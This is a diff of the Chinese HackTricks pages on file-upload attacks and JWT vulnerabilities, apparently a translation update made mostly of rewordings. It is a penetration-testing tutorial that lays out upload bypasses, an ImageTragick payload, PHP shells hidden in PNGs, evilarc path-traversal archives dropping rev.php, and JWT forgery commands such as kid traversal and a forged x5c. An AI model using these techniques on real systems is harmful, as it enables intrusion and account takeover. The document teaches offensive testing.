* 网页也可能在 **调整图像大小**,例如使用 PHP-GD 函数 `imagecopyresized` 或 `imagecopyresampled`。然而,你可以使用 **IDAT 块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 插入一些文本以 **在压缩中存活**。
|
||||||
* [**带有代码的 GitHub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
|
* [**带有代码的 GitHub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
|
||||||
* 另一种制作 **在图像调整大小中存活的有效载荷** 的技术,使用 PHP-GD 函数 `thumbnailImage`。然而,你可以使用 **tEXt 块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 插入一些文本,使其 **在压缩中存活**。
|
* 另一种制作 **在图像调整大小中存活的有效载荷** 的技术,使用 PHP-GD 函数 `thumbnailImage`。然而,你可以使用 **tEXt 块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 插入一些文本以 **在压缩中存活**。
|
||||||
* [**带有代码的 GitHub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
|
* [**带有代码的 GitHub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
|
||||||
|
|
||||||
### 其他检查技巧
|
### 其他检查技巧
|
||||||
|
@ -98,13 +98,13 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||||
* 找到一个 **重命名** 已上传文件的漏洞(以更改扩展名)。
|
* 找到一个 **重命名** 已上传文件的漏洞(以更改扩展名)。
|
||||||
* 找到一个 **本地文件包含** 漏洞以执行后门。
|
* 找到一个 **本地文件包含** 漏洞以执行后门。
|
||||||
* **可能的信息泄露**:
|
* **可能的信息泄露**:
|
||||||
1. **多次**(并且在 **同一时间**)上传 **同一文件**,并使用 **相同的名称**
|
1. 上传 **多次**(并且在 **同一时间**)相同名称的 **相同文件**
|
||||||
2. 上传一个 **已经存在的文件** 或 **文件夹** 的 **名称** 的文件
|
2. 上传一个 **已经存在** 的 **文件** 或 **文件夹** 的 **名称** 的文件
|
||||||
3. 上传一个 **“.”, “..”, 或 “…” 作为其名称** 的文件。例如,在 Apache 的 **Windows** 中,如果应用程序将上传的文件保存在 “/www/uploads/” 目录中,名称为 “.” 的文件将创建一个名为 “uploads” 的文件在 “/www/” 目录中。
|
3. 上传一个 **“.”, “..”, 或 “…” 作为其名称** 的文件。例如,在 Apache 的 **Windows** 中,如果应用程序将上传的文件保存在 “/www/uploads/” 目录中,名称为 “.” 的文件将创建一个名为 “uploads” 的文件在 “/www/” 目录中。
|
||||||
4. 上传一个可能不容易被删除的文件,例如 **“…:.jpg”** 在 **NTFS** 中。(Windows)
|
4. 上传一个可能不容易删除的文件,例如 **“…:.jpg”** 在 **NTFS** 中。(Windows)
|
||||||
5. 在 **Windows** 中上传一个带有 **无效字符** 的文件,例如 `|<>*?”` 在其名称中。(Windows)
|
5. 在 **Windows** 中上传一个带有 **无效字符** 的文件,例如 `|<>*?”` 在其名称中。(Windows)
|
||||||
6. 在 **Windows** 中上传一个使用 **保留**(**禁止**) **名称** 的文件,例如 CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, 和 LPT9。
|
6. 在 **Windows** 中上传一个使用 **保留**(**禁止**) **名称** 的文件,例如 CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, 和 LPT9。
|
||||||
* 还可以尝试 **上传一个可执行文件**(.exe)或一个 **.html**(不太可疑)文件,当受害者意外打开时 **将执行代码**。
|
* 还尝试 **上传一个可执行文件**(.exe)或一个 **.html**(不太可疑)文件,当被受害者意外打开时 **将执行代码**。
|
||||||
|
|
||||||
### 特殊扩展名技巧
|
### 特殊扩展名技巧
|
||||||
|
|
||||||
|
@ -125,7 +125,7 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||||
|
|
||||||
有关此漏洞的详细探索,请查看原始研究:[uWSGI RCE 利用](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。
|
有关此漏洞的详细探索,请查看原始研究:[uWSGI RCE 利用](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。
|
||||||
|
|
||||||
如果能够修改 `.ini` 配置文件,则可以在 uWSGI 服务器中利用远程命令执行(RCE)漏洞。uWSGI 配置文件利用特定语法来包含“魔术”变量、占位符和操作符。值得注意的是,`@` 操作符,作为 `@(filename)` 使用,旨在包含文件的内容。在 uWSGI 支持的各种方案中,“exec” 方案特别强大,允许从进程的标准输出读取数据。当处理 `.ini` 配置文件时,可以利用此功能进行恶意目的,例如远程命令执行或任意文件写入/读取。
|
如果能够修改 `.ini` 配置文件,则可以在 uWSGI 服务器中利用远程命令执行(RCE)漏洞。uWSGI 配置文件利用特定语法来包含“魔术”变量、占位符和运算符。值得注意的是,`@` 运算符,作为 `@(filename)` 使用,旨在包含文件的内容。在 uWSGI 支持的各种方案中,“exec” 方案特别强大,允许从进程的标准输出读取数据。当处理 `.ini` 配置文件时,此功能可以被操纵用于恶意目的,例如远程命令执行或任意文件写入/读取。
|
||||||
|
|
||||||
考虑以下有害的 `uwsgi.ini` 文件示例,展示各种方案:
|
考虑以下有害的 `uwsgi.ini` 文件示例,展示各种方案:
|
||||||
```ini
|
```ini
|
||||||
|
@ -152,7 +152,7 @@ characters = @(call://uwsgi_func)
|
||||||
## **wget 文件上传/SSRF 技巧**
|
## **wget 文件上传/SSRF 技巧**
|
||||||
|
|
||||||
在某些情况下,您可能会发现服务器正在使用 **`wget`** 来 **下载文件**,并且您可以 **指示** **URL**。在这些情况下,代码可能会检查下载文件的扩展名是否在白名单中,以确保只下载允许的文件。然而,**此检查可以被绕过。**\
|
在某些情况下,您可能会发现服务器正在使用 **`wget`** 来 **下载文件**,并且您可以 **指示** **URL**。在这些情况下,代码可能会检查下载文件的扩展名是否在白名单中,以确保只下载允许的文件。然而,**此检查可以被绕过。**\
|
||||||
**linux** 中 **文件名** 的 **最大** 长度为 **255**,但是 **wget** 会将文件名截断为 **236** 个字符。您可以 **下载一个名为 "A"\*232+".php"+".gif"** 的文件,这个文件名将 **绕过** **检查**(因为在这个例子中 **".gif"** 是一个 **有效** 扩展名),但 `wget` 会将文件 **重命名** 为 **"A"\*232+".php"**。
|
**linux** 中 **文件名** 的 **最大** 长度为 **255**,但是 **wget** 会将文件名截断为 **236** 个字符。您可以 **下载一个名为 "A"\*232+".php"+".gif"** 的文件,这个文件名将 **绕过** **检查**(因为在这个例子中 **".gif"** 是一个 **有效** 扩展名),但 `wget` 会将文件重命名为 **"A"\*232+".php"**。
|
||||||
```bash
|
```bash
|
||||||
#Create file and HTTP server
|
#Create file and HTTP server
|
||||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||||
|
@ -175,7 +175,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||||
|
|
||||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||||
```
|
```
|
||||||
注意,您可能正在考虑的**另一个选项**是使**HTTP服务器重定向到不同的文件**,因此初始URL将绕过检查,然后wget将下载重定向的文件并使用新名称。这**不会工作**,**除非**wget与**参数**`--trust-server-names`一起使用,因为**wget将下载重定向页面,并使用原始URL中指示的文件名称**。
|
注意,您可能正在考虑的**另一个选项**是使**HTTP服务器重定向到不同的文件**,这样初始URL将绕过检查,然后wget将下载重定向的文件并使用新名称。这**不会工作**,**除非**wget与**参数**`--trust-server-names`一起使用,因为**wget将下载重定向页面,并使用原始URL中指示的文件名**。
|
||||||
|
|
||||||
## 工具
|
## 工具
|
||||||
|
|
||||||
|
@ -246,7 +246,7 @@ python2 evilarc.py -h
|
||||||
# Creating a malicious archive
|
# Creating a malicious archive
|
||||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||||
```
|
```
|
||||||
此外,**使用 evilarc 的符号链接技巧**也是一个选项。如果目标是针对像 `/flag.txt` 这样的文件,则应在您的系统中创建指向该文件的符号链接。这确保了 evilarc 在操作过程中不会遇到错误。
|
此外,**symlink trick with evilarc** 是一个选项。如果目标是针对像 `/flag.txt` 这样的文件,则应在您的系统中创建指向该文件的符号链接。这确保了 evilarc 在其操作过程中不会遇到错误。
|
||||||
|
|
||||||
下面是用于创建恶意 zip 文件的 Python 代码示例:
|
下面是用于创建恶意 zip 文件的 Python 代码示例:
|
||||||
```python
|
```python
|
||||||
|
@ -295,7 +295,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||||
|
|
||||||
## ImageTragic
|
## ImageTragic
|
||||||
|
|
||||||
将此内容与图像扩展一起上传以利用该漏洞 **(ImageMagick , 7.0.1-1)** (来自 [exploit](https://www.exploit-db.com/exploits/39767))
|
将此内容与图像扩展名一起上传以利用该漏洞 **(ImageMagick , 7.0.1-1)** (来自 [exploit](https://www.exploit-db.com/exploits/39767))
|
||||||
```
|
```
|
||||||
push graphic-context
|
push graphic-context
|
||||||
viewbox 0 0 640 480
|
viewbox 0 0 640 480
|
||||||
|
@ -304,17 +304,17 @@ pop graphic-context
|
||||||
```
|
```
|
||||||
## 在PNG中嵌入PHP Shell
|
## 在PNG中嵌入PHP Shell
|
||||||
|
|
||||||
在PNG文件的IDAT块中嵌入PHP shell可以有效绕过某些图像处理操作。PHP-GD中的`imagecopyresized`和`imagecopyresampled`函数在此上下文中特别相关,因为它们通常用于调整和重采样图像。嵌入的PHP shell能够不受这些操作影响,这在某些用例中是一个显著的优势。
|
在PNG文件的IDAT块中嵌入PHP shell可以有效绕过某些图像处理操作。PHP-GD中的`imagecopyresized`和`imagecopyresampled`函数在此上下文中特别相关,因为它们通常用于调整和重新采样图像。嵌入的PHP shell能够不受这些操作影响,这在某些用例中是一个显著的优势。
|
||||||
|
|
||||||
以下文章提供了对该技术的详细探索,包括其方法论和潜在应用:["在PNG IDAT块中编码Web Shell"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。该资源提供了对该过程及其影响的全面理解。
|
以下文章提供了对该技术的详细探讨,包括其方法论和潜在应用:["在PNG IDAT块中编码Web Shell"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。该资源提供了对该过程及其影响的全面理解。
|
||||||
|
|
||||||
更多信息请见:[https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
更多信息请见:[https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||||
|
|
||||||
## 多格式文件
|
## 多格式文件
|
||||||
|
|
||||||
多格式文件在网络安全中作为一种独特工具,像变色龙一样可以同时有效存在于多种文件格式中。一个有趣的例子是[GIFAR](https://en.wikipedia.org/wiki/Gifar),它既可以作为GIF也可以作为RAR档案。这类文件并不限于这种组合;像GIF和JS或PPT和JS的组合也是可行的。
|
多格式文件在网络安全中作为一种独特工具,像变色龙一样可以同时有效存在于多种文件格式中。一个有趣的例子是[GIFAR](https://en.wikipedia.org/wiki/Gifar),它既可以作为GIF也可以作为RAR档案。这类文件并不限于这种组合;GIF和JS或PPT和JS等组合也是可行的。
|
||||||
|
|
||||||
多格式文件的核心实用性在于它们能够绕过基于类型筛选文件的安全措施。各种应用中的常见做法是仅允许某些文件类型上传——如JPEG、GIF或DOC——以降低潜在有害格式(例如JS、PHP或Phar文件)带来的风险。然而,多格式文件通过符合多种文件类型的结构标准,可以悄然绕过这些限制。
|
多格式文件的核心用途在于它们能够绕过基于类型筛选文件的安全措施。各种应用中的常见做法是仅允许某些文件类型上传——如JPEG、GIF或DOC——以降低潜在有害格式(例如JS、PHP或Phar文件)带来的风险。然而,多格式文件通过符合多种文件类型的结构标准,可以悄然绕过这些限制。
|
||||||
|
|
||||||
尽管它们具有适应性,但多格式文件确实面临限制。例如,虽然一个多格式文件可能同时包含PHAR文件(PHp ARchive)和JPEG,但其上传的成功可能取决于平台的文件扩展名政策。如果系统对允许的扩展名要求严格,仅仅是多格式文件的结构双重性可能不足以保证其上传。
|
尽管它们具有适应性,但多格式文件确实面临限制。例如,虽然一个多格式文件可能同时包含PHAR文件(PHp ARchive)和JPEG,但其上传的成功可能取决于平台的文件扩展名政策。如果系统对允许的扩展名要求严格,仅仅是多格式文件的结构双重性可能不足以保证其上传。
|
||||||
|
|
||||||
|
@ -329,15 +329,15 @@ pop graphic-context
|
||||||
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||||
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
如果你对**黑客职业**感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
如果你对**黑客职业**感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习和实践AWS黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习与实践AWS黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习和实践GCP黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习与实践GCP黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
# JWT Vulnerabilities (Json Web Tokens)
|
# JWT Vulnerabilities (Json Web Tokens)
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习与实践 AWS 黑客技术:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习与实践 AWS 黑客技术:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习与实践 GCP 黑客技术:<img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习与实践 GCP 黑客技术:<img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -15,9 +15,9 @@
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_要求流利的波兰语书写和口语能力_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -32,11 +32,11 @@ python3 jwt_tool.py -M at \
|
||||||
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
|
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
|
||||||
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
|
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
|
||||||
```
|
```
|
||||||
如果你运气好的话,工具会找到一些网络应用程序错误检查JWT的情况:
|
如果你运气好的话,工具会找到一些情况下,web 应用程序错误地检查 JWT:
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (935).png>)
|
![](<../.gitbook/assets/image (935).png>)
|
||||||
|
|
||||||
然后,你可以在你的代理中搜索请求,或者使用jwt\_ tool转储该请求中使用的JWT:
|
然后,你可以在你的代理中搜索请求,或者使用 jwt\_ tool 转储该请求使用的 JWT:
|
||||||
```bash
|
```bash
|
||||||
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
||||||
```
|
```
|
||||||
|
@ -51,7 +51,7 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
||||||
要检查 JWT 的签名是否被验证:
|
要检查 JWT 的签名是否被验证:
|
||||||
|
|
||||||
* 错误消息表明正在进行验证;应检查详细错误中的敏感信息。
|
* 错误消息表明正在进行验证;应检查详细错误中的敏感信息。
|
||||||
* 返回页面的变化也表明正在验证。
|
* 返回页面的变化也表明正在进行验证。
|
||||||
* 没有变化表明没有验证;这时可以尝试篡改有效负载声明。
|
* 没有变化表明没有验证;这时可以尝试篡改有效负载声明。
|
||||||
|
|
||||||
### 来源
|
### 来源
|
||||||
|
@ -77,8 +77,8 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
||||||
|
|
||||||
### 将算法 RS256(非对称)更改为 HS256(对称)(CVE-2016-5431/CVE-2016-10555)
|
### 将算法 RS256(非对称)更改为 HS256(对称)(CVE-2016-5431/CVE-2016-10555)
|
||||||
|
|
||||||
算法 HS256 使用密钥对每个消息进行签名和验证。\
|
算法 HS256 使用密钥签名和验证每个消息。\
|
||||||
算法 RS256 使用私钥对消息进行签名,并使用公钥进行身份验证。
|
算法 RS256 使用私钥签名消息,并使用公钥进行身份验证。
|
||||||
|
|
||||||
如果将算法从 RS256 更改为 HS256,后端代码将使用公钥作为密钥,然后使用 HS256 算法验证签名。
|
如果将算法从 RS256 更改为 HS256,后端代码将使用公钥作为密钥,然后使用 HS256 算法验证签名。
|
||||||
|
|
||||||
|
@ -96,7 +96,7 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
||||||
|
|
||||||
### JWKS Spoofing
|
### JWKS Spoofing
|
||||||
|
|
||||||
这些说明详细描述了一种评估 JWT 令牌安全性的方法,特别是那些使用 "jku" 头部声明的令牌。该声明应链接到包含令牌验证所需公钥的 JWKS (JSON Web Key Set) 文件。
|
这些说明详细描述了一种评估 JWT 令牌安全性的方法,特别是那些使用 "jku" 头部声明的令牌。该声明应链接到一个包含令牌验证所需公钥的 JWKS (JSON Web Key Set) 文件。
|
||||||
|
|
||||||
* **评估带有 "jku" 头部的令牌**:
|
* **评估带有 "jku" 头部的令牌**:
|
||||||
* 验证 "jku" 声明的 URL,以确保它指向适当的 JWKS 文件。
|
* 验证 "jku" 声明的 URL,以确保它指向适当的 JWKS 文件。
|
||||||
|
@ -121,7 +121,7 @@ python3 jwt_tool.py JWT_HERE -X s
|
||||||
|
|
||||||
#### Path Traversal with "kid"
|
#### Path Traversal with "kid"
|
||||||
|
|
||||||
`kid` 声明也可能被利用来遍历文件系统,可能允许选择任意文件。可以通过更改 `kid` 值以针对特定文件或服务来测试连接性或执行服务器端请求伪造 (SSRF) 攻击。通过使用 `-T` 标志在 jwt_tool 中篡改 JWT 以更改 `kid` 值,同时保留原始签名,可以实现如下所示:
|
`kid` 声明也可能被利用来遍历文件系统,可能允许选择任意文件。可以通过更改 `kid` 值以针对特定文件或服务来测试连接性或执行服务器端请求伪造 (SSRF) 攻击。使用 `-T` 标志在 jwt_tool 中篡改 JWT 以更改 `kid` 值,同时保留原始签名,如下所示:
|
||||||
```bash
|
```bash
|
||||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||||
```
|
```
|
||||||
|
@ -154,9 +154,9 @@ openssl genrsa -out keypair.pem 2048
|
||||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||||||
```
|
```
|
||||||
然后你可以使用例如 [**jwt.io**](https://jwt.io) 来创建新的 JWT,使用 **创建的公钥和私钥,并将参数 jku 指向创建的证书。** 为了创建有效的 jku 证书,你可以下载原始证书并更改所需的参数。
|
然后您可以使用例如 [**jwt.io**](https://jwt.io) 来创建新的 JWT,使用 **创建的公钥和私钥,并将参数 jku 指向创建的证书。** 为了创建有效的 jku 证书,您可以下载原始证书并更改所需的参数。
|
||||||
|
|
||||||
你可以使用以下方法从公钥证书中获取参数 "e" 和 "n":
|
您可以使用以下方法从公钥证书中获取参数 "e" 和 "n":
|
||||||
```bash
|
```bash
|
||||||
from Crypto.PublicKey import RSA
|
from Crypto.PublicKey import RSA
|
||||||
fp = open("publickey.crt", "r")
|
fp = open("publickey.crt", "r")
|
||||||
|
@ -184,11 +184,11 @@ openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
||||||
|
|
||||||
#### x5c
|
#### x5c
|
||||||
|
|
||||||
该参数可能包含 **以 base64 编码的证书**:
|
该参数可能包含 **base64 编码的证书**:
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (1119).png>)
|
![](<../.gitbook/assets/image (1119).png>)
|
||||||
|
|
||||||
如果攻击者 **生成自签名证书** 并使用相应的私钥创建伪造的令牌,并将 "x5c" 参数的值替换为新生成的证书,并修改其他参数,即 n、e 和 x5t,那么伪造的令牌将被服务器接受。
|
如果攻击者 **生成一个自签名证书** 并使用相应的私钥创建一个伪造的令牌,并将 "x5c" 参数的值替换为新生成的证书,并修改其他参数,即 n、e 和 x5t,那么基本上伪造的令牌将被服务器接受。
|
||||||
```bash
|
```bash
|
||||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
|
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
|
||||||
openssl x509 -in attacker.crt -text
|
openssl x509 -in attacker.crt -text
|
||||||
|
@ -233,9 +233,9 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
|
||||||
|
|
||||||
这是一个示例:[ECDSA:如果使用相同的随机数则泄露私钥(使用 SECP256k1)](https://asecuritysite.com/encryption/ecd5)
|
这是一个示例:[ECDSA:如果使用相同的随机数则泄露私钥(使用 SECP256k1)](https://asecuritysite.com/encryption/ecd5)
|
||||||
|
|
||||||
### JTI (JWT ID)
|
### JTI(JWT ID)
|
||||||
|
|
||||||
JTI (JWT ID) 声明为 JWT 令牌提供了唯一标识符。它可以用于防止令牌被重放。\
|
JTI(JWT ID)声明为 JWT 令牌提供了唯一标识符。它可以用于防止令牌被重放。\
|
||||||
然而,想象一下一个情况,其中 ID 的最大长度为 4(0001-9999)。请求 0001 和 10001 将使用相同的 ID。因此,如果后端在每个请求中递增 ID,您可以利用这一点来 **重放请求**(需要在每次成功重放之间发送 10000 个请求)。
|
然而,想象一下一个情况,其中 ID 的最大长度为 4(0001-9999)。请求 0001 和 10001 将使用相同的 ID。因此,如果后端在每个请求中递增 ID,您可以利用这一点来 **重放请求**(需要在每次成功重放之间发送 10000 个请求)。
|
||||||
|
|
||||||
### JWT 注册声明
|
### JWT 注册声明
|
||||||
|
@ -246,7 +246,7 @@ JTI (JWT ID) 声明为 JWT 令牌提供了唯一标识符。它可以用于防
|
||||||
|
|
||||||
**跨服务中继攻击**
|
**跨服务中继攻击**
|
||||||
|
|
||||||
已经观察到某些 Web 应用程序依赖于受信任的 JWT 服务来生成和管理其令牌。记录到的实例表明,由 JWT 服务为一个客户端生成的令牌被同一 JWT 服务的另一个客户端接受。如果通过第三方服务观察到 JWT 的发行或续订,则应调查使用相同用户名/电子邮件在该服务的另一个客户端上注册帐户的可能性。然后应尝试在请求中重放获得的令牌,以查看是否被接受。
|
已经观察到一些 Web 应用程序依赖于受信任的 JWT 服务来生成和管理其令牌。记录到的实例表明,由 JWT 服务为一个客户端生成的令牌被同一 JWT 服务的另一个客户端接受。如果通过第三方服务观察到 JWT 的发行或续订,则应调查使用相同用户名/电子邮件在该服务的另一个客户端上注册帐户的可能性。然后应尝试在请求中重放获得的令牌,以查看是否被接受。
|
||||||
|
|
||||||
* 如果您的令牌被接受,可能表明存在一个关键问题,这可能允许伪造任何用户的帐户。然而,需要注意的是,如果在第三方应用程序上注册,可能需要更广泛测试的权限,因为这可能进入法律灰色地带。
|
* 如果您的令牌被接受,可能表明存在一个关键问题,这可能允许伪造任何用户的帐户。然而,需要注意的是,如果在第三方应用程序上注册,可能需要更广泛测试的权限,因为这可能进入法律灰色地带。
|
||||||
|
|
||||||
|
@ -260,9 +260,9 @@ JTI (JWT ID) 声明为 JWT 令牌提供了唯一标识符。它可以用于防
|
||||||
|
|
||||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
如果您对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书面和口语能力_).
|
如果您对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!**(_需要流利的波兰语书面和口语能力_)。
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -276,7 +276,7 @@ JTI (JWT ID) 声明为 JWT 令牌提供了唯一标识符。它可以用于防
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
